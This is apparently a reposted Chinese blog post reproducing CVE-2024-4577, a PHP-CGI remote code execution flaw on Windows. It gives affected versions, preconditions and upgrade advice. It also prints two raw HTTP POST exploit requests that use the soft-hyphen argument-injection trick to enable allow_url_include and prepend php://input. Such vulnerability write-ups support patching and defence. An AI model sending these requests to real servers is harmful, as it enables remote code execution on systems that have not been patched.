【漏洞复现】PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)

【漏洞复现】PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)

码农世界 2024-06-21 后端 97 次浏览 0个评论

漏洞描述:

CVE-2024-4577导致漏洞产生的本质其实是Windows系统内字符编码转换的Best-Fit特性导致的。由于Windows系统内字符编码转换的Best-Fit特性导致PHP原本的安全限制被绕过,再加上一些特殊的PHP CGI环境配置导致了这个问题。

影响版本:

PHP 8.3 < 8.3.8

PHP 8.2 < 8.2.20

PHP 8.1 < 8.1.29

利用前提:

  1. 直接用PHP-CGI启动 或者 php-cgi.exe/php.exe 暴露于cgi目录下(例如 /cgi-bin/ )
  2. 仅影响Windows平台且使用了如下语系(简体中文936/繁体中文950/日文932等)

    此漏洞对于环境要求比较苛刻,但是对于使用XAMPP默认配置搭建的PHP Web服务(Windows默认配置部署时,满足以上所有条件)

利用方式1:

通过修改httpd-xampp.conf中注释解开下面这段代码,注释之后需要重启apache服务

【漏洞复现】PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)

POST /index.php?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: 
Content-Type: application/x-www-form-urlencoded
 

【漏洞复现】PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)

利用方式2

无需任何配置信息修改

POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: 

【漏洞复现】PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)

修复建议:

目前,官方已发布修复建议,建议受影响的用户尽快升级至安全版本。

PHP 8.3 >= 8.3.8

PHP 8.2 >= 8.2.20

PHP 8.1 >= 8.1.29

下载地址:https://www.php.net/downloads.php

转载请注明来自码农世界,本文标题:《【漏洞复现】PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)》

百度分享代码,如果开启HTTPS请参考李洋个人博客
每一天,每一秒,你所做的决定都会改变你的人生!

发表评论

快捷回复:

评论列表 (暂无评论,97人围观)参与讨论

还没有评论,来说两句吧...

Top